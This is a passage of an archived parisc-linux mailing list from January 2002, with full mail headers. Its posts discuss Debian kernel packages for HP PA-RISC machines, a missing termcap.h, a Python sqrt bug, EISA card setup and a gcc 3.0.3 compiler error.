> There's a kernel there.  Is this just a drop in  replacement?

Those are tarballs containing the kernel and some other stuff. Untar/gz them 
in /boot.

> While I'm at asking stupid questions, what packages so I need install to
> build kernels?

Use dselect or apt-get to install gcc and it's dependencies from the CD or 
from the Debian archive.

> I installed the 0.9.3 release, but make and it's pals are
> missing.

They are on the CD and available in the Debian archive.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 07 Jan 2002 12:55:33 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20020107195533.463BE37CB8@carmen.fc.hp.com>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620933 512 80.91.229.3 (22 Nov 2014 01:48:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:53 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Helge Deller <helge.deller@sap.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 12:55:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 112CB482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 12:55:34 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 72E346001AC; Mon,  7 Jan 2002 14:55:33 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 463BE37CB8; Mon,  7 Jan 2002 12:55:33 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Helge Deller <helge.deller@sap.com> 
   of "Mon, 07 Jan 2002 12:49:52 +0100." <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13629

Helge Deller writes...

> CC'ed to to the list too:
> 
> ----------  Forwarded Message  ----------
> 
> Subject: Re: [parisc-linux] mpg321 on 715/64?
> Date: Mon, 7 Jan 2002 12:49:00 +0100
> From: Helge Deller <helge.deller@sap.com>
> To: "Peter Lavender" <plaven@bigpond.net.au>
> 
> > > Get yourself the latest kernel (>= 2.4.17-pa5) and update to the latest
> > > mpg321 and it will work perfectly on your machine.
> > > I tested it myself on my 715/64.
> >
> > OK..
> >
> > Now to be a total annoying slacker newbie.. can I apt-get install the
> > kernel?
> 
> No.

That's not quite right. You can't always apt-get the latest, bleeding edge 
kernel, but there are fairly new, stable kernel-image-* packages for hppa in 
the Debian archive. You can apt-get those and it works as expected.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Aaron Macks <aaronm@cs.brandeis.edu.ml.to>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] good news on the 755/125
Date: Mon, 7 Jan 2002 15:10:38 -0500
Lines: 14
Approved: news@gmane.org
Message-ID: <a05100301b85fb0ad081c@[129.64.46.83]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Trace: ger.gmane.org 1416620934 516 80.91.229.3 (22 Nov 2014 01:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 13:10:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hermes.cs.brandeis.edu (hermes.cs.brandeis.edu [129.64.2.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 07C7A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 13:10:24 -0700 (MST)
Original-Received: from [129.64.46.83] (dhcp-129.64.46.83.cs-i.brandeis.edu [129.64.46.83])
	by hermes.cs.brandeis.edu (8.11.6/8.9.3) with ESMTP id g07KAMX04984
	for <parisc-linux@lists.parisc-linux.org>; Mon, 7 Jan 2002 15:10:22 -0500
X-Sender: aaronm@mail.cs.brandeis.edu (Unverified)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13630

installed and all is working well(it'c currently compiling LAM and 
ssh).  two problems:
  it didn't seem to install the termcap.h file, and I'm not sure where 
to find it
  on things which use highliting in curses(dselect) the highliting 
does not appear
thanks again
Aaron
-- 
_______________________________________________________
Aaron Macks(aaronm@cs.brandeis.edu)
My sheep has seven gall bladders, that makes me the King of the Universe!



From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Python math bug
Date: Tue, 8 Jan 2002 00:21:02 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <3753D94C-03C5-11D6-8043-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620934 527 80.91.229.3 (22 Nov 2014 01:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 16:21:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id BCE1A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 16:21:04 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id BE9F049BF0
	for <parisc-linux@lists.parisc-linux.org>; Tue,  8 Jan 2002 00:21:03 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13631

Hello,

After investigating a bit in an empirical way on the sqrt() function in 
python, I have noticed what seems to be a logical rule as follows:

All integer results (even when tested as X.0) are correct.
For the float numbers (I have only tested the X.X form), the rule looks 
like this:
the result for 0.X numbers is divided by (1/(2*sqrt(2))), ie multiplied 
by 2*sqrt(2)
for 1.X numbers, result is divided by sqrt(2)	(1 integer)
for 2.X and 3.X, divided by 2=(sqrt(2))^2		(2 different integers)
for 4.X -> 7.X, by (sqrt(2))^3				(4 different integers)
for 8.X -> 15.X, by 4=(sqrt(2))^4			(8 different integers)
for 16.X -> 31.X, by (sqrt(2))^5				(16 different integers)
for 32.X, by 8...

I have not tested further.

I have made the comparisons using a 10 digits (12 digits precision) 
calculator (as I had nothing else by this time).

I hope this will be useful for fixing the bug.


Thibaut
PA/Linux ESIEE Team




From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Daniel Engstrom <5116@telia.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Tue, 8 Jan 2002 00:34:33 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20020108003433.A13855@zaphod.halden.lillfab.se>
References: <3C388C82.6070509@web.de> <20020106201346.A14927@solo.franken.de> <20020106133432.08684bb1.csuder@cisco.com> <20020106232908.B19425@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620934 529 80.91.229.3 (22 Nov 2014 01:48:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:54 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>, sven.cronenberg@web.de,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 16:35:57 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mf1.bredband.net (mf1.lab.bredband.com [195.54.122.119])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9B0C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 16:35:56 -0700 (MST)
Original-Received: from zaphod.halden.lillfab.se ([213.112.197.159])
          by mf1.bredband.net with ESMTP
          id <20020107233406.RRMF18403.mf1@zaphod.halden.lillfab.se>;
          Tue, 8 Jan 2002 00:34:06 +0100
Original-Received: (from danne@localhost)
	by zaphod.halden.lillfab.se (8.9.3/8.9.3) id AAA22944;
	Tue, 8 Jan 2002 00:34:33 +0100
In-Reply-To: <20020106232908.B19425@solo.franken.de>; from tsbogend@alpha.franken.de on Sun, Jan 06, 2002 at 23:29:08 +0100
X-Mailer: Balsa 1.1.4
Original-Lines: 30
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13632

On 2002.01.06 23:29 Thomas Bogendoerfer wrote:
> but that's not enough. I did that and setup the [EISA-] card with HPUX, but
> it's still unconfigured, when Linux finds it. 

I think that the PDC only initialize a card that is used for booting. I also
think that Matthew Wilcox had a HP 100MB Ethernet interface up and running a 
while ago. (The PDC might have initialzed that board when it searched for boot
devices.)
Another problem with EISA boards currently, is that most of them are bus-masters
and the current EISA support lacks the busmatering and DMA bits.

> The .cfg describes how to
> configure the different card parameters, eisa_config puts the selected
> params to a nvram, and some other part does the real card poking
> during kernel startup. Other platforms have that card poking stuff
> included into the firmware.

I have started an eeprom driver a while ago, and I started to try to decode the 
EISA parts of the EEPROM. I have about half of it figured out I think, but the
other half seems to be somewhat hard.

I looked a doing a parser for the CFG files, but it turns out that there are a
lot of options and stuff. Even binary code overlays that are supposed to be
loaded and executed by the ECU (EISA configuration utility) exists. Adaptec 
uses one for the AHA-274x. Not suppoered by HPUX, though.

/Daneil

-- 



From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Holger Grothe <grothe@mathematik.tu-darmstadt.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] good news on the 755/125
Date: Tue, 8 Jan 2002 00:53:59 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <20020108005359.A5443@mathematik.tu-darmstadt.de>
References: <a05100301b85fb0ad081c@[129.64.46.83]>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620935 532 80.91.229.3 (22 Nov 2014 01:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 16:54:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailserver1.hrz.tu-darmstadt.de (mailserver1.hrz.tu-darmstadt.de [130.83.126.41])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5CCAA482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 16:54:03 -0700 (MST)
Original-Received: from fb04281.mathematik.tu-darmstadt.de (fb04281.mathematik.tu-darmstadt.de [130.83.2.21])
	by mailserver1.hrz.tu-darmstadt.de (8.9.1a/8.9.1) with ESMTP id AAA29249
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Jan 2002 00:39:09 +0100 (MET)
Original-Received: from fb0482.mathematik.tu-darmstadt.de (dummy82.mathematik.tu-darmstadt.de [130.83.2.82])
	by fb04281.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id AAA15342
	for <parisc-linux@lists.parisc-linux.org>; Tue, 8 Jan 2002 00:53:59 +0100
X-Authentication-Warning: fb04281.mathematik.tu-darmstadt.de: Host dummy82.mathematik.tu-darmstadt.de [130.83.2.82] claimed to be fb0482.mathematik.tu-darmstadt.de
Original-Received: (from grothe@localhost)
	by fb0482.mathematik.tu-darmstadt.de (8.9.3/8.9.3/Debian 8.9.3-21) id AAA05450
	for parisc-linux@lists.parisc-linux.org; Tue, 8 Jan 2002 00:53:59 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <a05100301b85fb0ad081c@[129.64.46.83]>; from aaronm@cs.brandeis.edu.ml.to on Mon, Jan 07, 2002 at 03:10:38PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13633

On Mon, Jan 07, 2002 at 03:10:38PM -0500, Aaron Macks wrote:
> installed and all is working well(it'c currently compiling LAM and 
> ssh).  two problems:
>   it didn't seem to install the termcap.h file, and I'm not sure where 
> to find it
>   on things which use highliting in curses(dselect) the highliting 
> does not appear

$ dpkg -S /usr/include/termcap.h
libncurses5-dev: /usr/include/termcap.h

Holger
-- 
Holger Grothe  (Email: grothe@mathematik.tu-darmstadt.de)
Fachbereich Mathematik, TU Darmstadt



From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Tue, 8 Jan 2002 02:11:12 +0100
Lines: 35
Approved: news@gmane.org
Message-ID: <20020108021112.A15052@solo.franken.de>
References: <3C388C82.6070509@web.de> <20020106201346.A14927@solo.franken.de> <20020106133432.08684bb1.csuder@cisco.com> <20020106232908.B19425@solo.franken.de> <20020108003433.A13855@zaphod.halden.lillfab.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620935 535 80.91.229.3 (22 Nov 2014 01:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:55 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>, sven.cronenberg@web.de,
	parisc-linux@lists.parisc-linux.org
To: Daniel Engstrom <5116@telia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 18:14:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C978.dip.t-dialin.net [217.81.201.120])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB49B482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Jan 2002 18:14:10 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g081BCi15459;
	Tue, 8 Jan 2002 02:11:12 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020108003433.A13855@zaphod.halden.lillfab.se>; from 5116@telia.com on Tue, Jan 08, 2002 at 12:34:33AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13634

On Tue, Jan 08, 2002 at 12:34:33AM +0100, Daniel Engstrom wrote:
> I think that the PDC only initialize a card that is used for booting. I also
> think that Matthew Wilcox had a HP 100MB Ethernet interface up and running a 
> while ago. (The PDC might have initialzed that board when it searched for boot
> devices.)

hmm, I had a quick glance over the hp100.c and it looks like the driver
does the eisa config itself. So that would explain why it worked.

> Another problem with EISA boards currently, is that most of them are
>  bus-masters and the current EISA support lacks the busmatering and DMA bits.

that's why I was looking into the problem. I wanted to improve EISA support.

> I have started an eeprom driver a while ago, and I started to try to decode
> the EISA parts of the EEPROM. I have about half of it figured out I think,
> but the other half seems to be somewhat hard.

that's a start. Do you have a patch for your eeprom driver somewhere ?

> I looked a doing a parser for the CFG files, but it turns out that there are a
> lot of options and stuff. Even binary code overlays that are supposed to be
> loaded and executed by the ECU (EISA configuration utility) exists. Adaptec 
> uses one for the AHA-274x. Not suppoered by HPUX, though.

I saw that overlay thing also for the AHA-1742. I just removed it from the
.cfg to get eisa_config running with it.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Fwd: Re: [parisc-linux] mpg321 on 715/64?
Date: Mon, 07 Jan 2002 18:56:38 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <20020108015638.8D4E0482A@dsl2.external.hp.com>
References: <E16NYI1-0003EK-00@linuxlab.wdf.sap-ag.de> <20020107124029.GF25927@sleepie.demon.co.uk>  <014501c197b4$1e1f4dc0$090ba8c0@winnie>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620935 536 80.91.229.3 (22 Nov 2014 01:48:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:55 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "Peter Lavender" <plaven@bigpond.net.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 18:56:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 8D4E0482A; Mon,  7 Jan 2002 18:56:38 -0700 (MST)
In-Reply-To: Message from "Peter Lavender" <plaven@bigpond.net.au> 
   of "Tue, 08 Jan 2002 06:47:19 +1100." <014501c197b4$1e1f4dc0$090ba8c0@winnie> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13635

"Peter Lavender" wrote:
> > Or look in <ftp://ftp.parisc-linux.org/kernels/32/> in a day or two.
> > Should find fresh kernel builds there on a daily basis, I think.
> 
> There's a kernel there.  Is this just a drop in  replacement?

Yes. Mostly. Just make sure the new kernel has the same name
as the existing kernel. Rename the existing kernel first.
You do not have to run palo unles you want to change kernel
parameters or update the "emergency" kernel on the 0xF0 partition.
(The FAQ has more on kernel boot parameters)

> While I'm at asking stupid questions, what packages so I need install to
> build kernels?   I installed the 0.9.3 release, but make and it's pals are
> missing.

See the "Build" links on www.parisc-linux.org in the navigation bar.

grant



From - Thu Nov 08 21:21:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FWD: gcc-3.0.3: ICE in reload_cse_simplify on hppa-linux
Date: Mon, 7 Jan 2002 23:07:22 -0500 (EST)
Lines: 599
Approved: news@gmane.org
Message-ID: <200201080407.g0847NUh002619@hiauly1.hia.nrc.ca>
References: <20020107163156.GE3247@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620936 540 80.91.229.3 (22 Nov 2014 01:48:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jan  7 21:16:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2E2BB482A
	for <parisc-linux@parisc-linux.org>; Mon,  7 Jan 2002 21:16:27 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g0847N7c002620;
	Mon, 7 Jan 2002 23:07:24 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g0847NUh002619;
	Mon, 7 Jan 2002 23:07:23 -0500 (EST)
In-Reply-To: <20020107163156.GE3247@tausq.org> from "Randolph Chung" at Jan 7, 2002 08:31:56 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13636

I can't duplicate the problem with gcc 3.1 under hpux 11.11 or 3.0.3 under
hpux 10.20.

What version of bison are you using?  I suspect that 1.29 may have problems.
I am currently using 1.30.  I also think 1.28 is ok.  I saw one instance
of a problem similar to this with 1.29, although it wasn't on the PA.

If the "parse.c" files in gcc were generated with 1.29, I suggest updating
bison and rebuilding the various "parse" files in the gcc distribution
with the new version of bison.

Dave

> When compiling the attached file, gcc fails with the following message:
> 
> 
> legolas[8:37] lib% gcc -v -save-temps -DHAVE_CONFIG_H -I. -I. -I..     -O2 -fPIC
>  -DPIC -c x509_ASN.c
> Reading specs from /usr/lib/gcc-lib/hppa-linux/3.0.3/specs
> Configured with: ../src/configure -v --enable-languages=c,c++,f77,proto,objc --p
> refix=/usr --infodir=/share/info --mandir=/share/man --enable-shared --with-gnu-
> as --with-gnu-ld --with-system-zlib --enable-long-long --enable-nls --without-in
> cluded-gettext --disable-checking --enable-threads=posix --with-cpp-install-dir=
> bin hppa-linux
> Thread model: posix
> gcc version 3.0.3
>  /usr/lib/gcc-lib/hppa-linux/3.0.3/cpp0 -lang-c -v -I. -I. -I.. -D__GNUC__=3 -D_
> _GNUC_MINOR__=0 -D__GNUC_PATCHLEVEL__=3 -D__ELF__ -Dunix -D__hppa__ -Dlinux -D__
